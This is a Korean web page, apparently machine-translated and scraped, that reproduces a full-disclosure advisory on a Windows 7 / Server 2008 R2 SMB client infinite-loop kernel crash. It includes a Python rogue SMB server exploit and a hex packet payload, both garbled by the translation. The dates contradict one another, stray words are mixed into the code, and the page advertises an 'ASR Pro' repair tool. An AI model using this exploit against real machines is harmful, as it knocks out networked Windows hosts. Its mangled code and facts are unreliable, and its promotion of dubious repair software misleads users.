Table of Contents
승인됨
Windows 7 / Server 2008r2 원격 커널이 귀하의 개인용 컴퓨터에서 충돌하는 경우 이 사용자 프로그램이 위기를 해결하는 데 도움이 되기를 바랍니다. NS.Microsoft Windows 7 / Server 2008 R2 SMB 클라이언트 무한 루프: Windows 7 및 Windows Server 2008 R2의 Microsoft Windows SMB 클라이언트에서 작동을 제공하지 못하는 것을 악용합니다. 대부분 원격 커널을 잊어버립니다. Metasploit Framework에는 취약점을 악용하는 모듈이 포함되어 있습니다.
NS. <사전> <코드> #! usr/bin/파이썬# win7-crash.Trigger 파이:# 다중 서버 Win7 및 2008R2에서 원격 커널 충돌(무한 루프)# KeAccumulateTicks()는 NT_ASSERT()로 인한 충돌 / DbgRaiseAssertionFailure()는 기본적으로 강력한# 끝없는 순환.# BSOD가 아니므로 커넥터를 분리해야 합니다.# 빨리 확인하려면; 순서대로: this_script_ip_addr BLAH, 쉽게 충돌# 저자: 로랑 가피소켓 서버 가져오기패키지 = (” x00 x00 x00 x9a” 다양한 길이 —> 9a가 아닌 5번째여야 합니다..” xfe x53 x4d x42 x40 x00 x00 x00 x00 x00 x00 x00 x00 x00 x01 x00″” ”” ”” ”” x41 x00 x01 x00 x02 x02 x00 x00 x30 x82 xa4 x11 xe3 x12 x23 x41″” xaa x4b xad x99 xfd x52 x31 x8d x01 x00 x00 x00 x00 x00 x01 x00″” ?sgtb`? “” xcb x51 xe0 x19 x62 x60 xca x01 x80 x00 x1e x00 x20 x4c x4d x20″” x60 x1c x06 x06 x2b x06 x01 x05 x05 x02 xa0 x12 x30 x10 xa0 x0e”” x30 x0c x06 x0a x2b x06 x01 x04 x01 x82 x37 x02 x02 x0a”)SMB2 클래스(SocketServer.BaseRequestHandler): Def-Handle(자신): “누구:” 인쇄, self.client_address “감사합니다 SDL”을 사용하십시오 경로는 self.request.recv(1024)를 의미합니다. self.request.send(패키지) self.request.close()launch = SocketServer.TCPServer((”, 445), SMB2) # 모든 인터페이스에서 수신합니다. city 445launch.serve_forever ()
이 오류는 SDL이 실패한다는 중요한 사실입니다.
오류와 관련된 대상은 smb1,2의 무한 트랩, 사전 인증, 기술이 필요하지 않습니다…
(IE *)
를 통해 로컬 네트워크에 연결하여 실행할 수 있습니다.따라서 판단 오류는 과거에 SDL이 존재했다면 2년 전에 특정 SDL에 의해 최근에 발견되어야 했을 정도로 단순합니다.
netbios_header = struct.pack(“> i”, len(”.join(SMB_packet)) + SMB_packet
(netbios h2 태그는 새로운 smb1,2 패킷의 1 길이를 나타냅니다.)
netbios_header 번호가 SMB_packet보다 작거나 많은 문서 바이트라면 상황은 단순히 위반됩니다!
어떤 종류 ?? 장난하냐 내 SDL 어딨어?!?
“모든 조명에서 가장 안전한 운영 체제입니다. е “;
올바른 방화벽이 구성되어 있다는 것은 nbns sent out 메서드를 사용하더라도(사용자 상호 작용 없음) IE를 통해 제거해야 합니다.
===================================================
– 출시일: 2010년 11월 11일
– 발견자: Laurent Gaffier
– 심각도: 중간 / 높음
=================================================
NS. 개념의 확인
————————–
# win7-crash.py:
# Win7 및 Server 2008R2(무한 루프)에서 실제 원격 커널 실행 갑자기 낮은 섭취량
# KeAccumulateTicks()는 NT_ASSERT() / DbgRaiseAssertionFailure()로 인해 # 강력한 셀 수 없는 루프로 인해 다운되었습니다.
# 아니 BSOD, 당신은 코르크가 있습니다.
# 이것을 빨리 끝내기 위해; 순서대로: this_script_ip_addr BLAH, 즉시 감소
# Laurent Gaffier 제공 제공
#
패키지 같음 (숫자 ” x00 x00 x00 x9a” —> 9번째 길이는 실제로 9a가 되어야 합니다..
” xfe x53 x4d x42 x40 x00 x00 x00 x00 x00 x00 x00 x00 x00 x01 x00″
” x01 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x41 x00 x01 x00 x02 x02 x00 x00 x30 x82 xa4 x11 xe3 x12 x23 x41″
” xaa x4b xad x99 xfd x52 x31 x8d x01 x00 x00 x00 x00 x00 x01 x00 “
” x00 x00 x01 x00 x00 x00 x01 x00 xcf x73 x67 x74 x62 x60 xca x01″
” xcb x51 xe0 x19 x62 x60 xca x01 x80 x00 x1e x00 x20 x4c x4d x20″
” x60 x1c x06 x06 x2b x06 x01 x05 x05 x02 xa0 x12 x30 소니 에릭슨 x10 xa0 x0e”
” x30 x0c x06 x0a x2b x06 x01 x04 x01 x82 x37 x02 x02 x0a”)
V. 상업적 영향
————————–
공격자는 원격으로 수많은 Windows 2008R2 서버를 비활성화할 수 있습니다. 7 /
특정 로컬 네트워크 또는 IE를 통해
7. 패치 솔루션
————————–
이 경우에는 선택하지 않아도 되므로 ISP는 상관하지 않습니다.
유효한 감사가 제공될 때까지 SMB 기능 및 도시를 폐쇄합니다.
X. 변경 내역
————————–
2009년 11월 12일: MSRC에 문의
2011년 11월 8일: MSRC에서 발견된 취약점
11월 11일, yr: 보안 게시판에 표시되지 않아야 하는 다양한 공급업체의 IPv6 바이러스가 있기 때문에 MRSC는 스스로를 설득하려고 합니다.
2009년 11월 10일: 이 귀중한 버그가 릴리스된 것으로 판명되었습니다.
XI. 참고
————————–
이 통지에 포함된 체포 정보는 “있는 그대로” 제공됩니다.
표현 및/또는 편의 보장 없이 달리.
나는 단순히 운영자 또는
특정 정보의 오용.
<스팬 크기는 "+ 1"> 전체 공개를 의미합니다.메일링 리스트 아카이브
원격 커널 오류 Windows 7 Server 2008R2<시간>보낸 사람: 로랑 가피
날짜: hotmail 지난 11월 11일 수요일 05:58:44 – 05:00
<시간>
________________________________________________GenderMy 안내 공개 - 지금 바로 믿으세요.헌장: http://lists.grok.org.uk/full-disclosure-charter.html방금 게시되었으며 Secunia Http 후원: // secunia-.com/
<시간>
날짜별로 까지ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 철사
현재 스트림:<울>
승인됨
ASR Pro 복구 도구는 느리게 실행되거나 레지스트리 문제가 있거나 맬웨어에 감염된 Windows PC를 위한 솔루션입니다. 이 강력하고 사용하기 쉬운 도구는 PC를 신속하게 진단 및 수정하여 성능을 높이고 메모리를 최적화하며 프로세스의 보안을 개선할 수 있습니다. 더 이상 느린 컴퓨터로 고통받지 마세요. 지금 ASR Pro을 사용해 보세요!
년
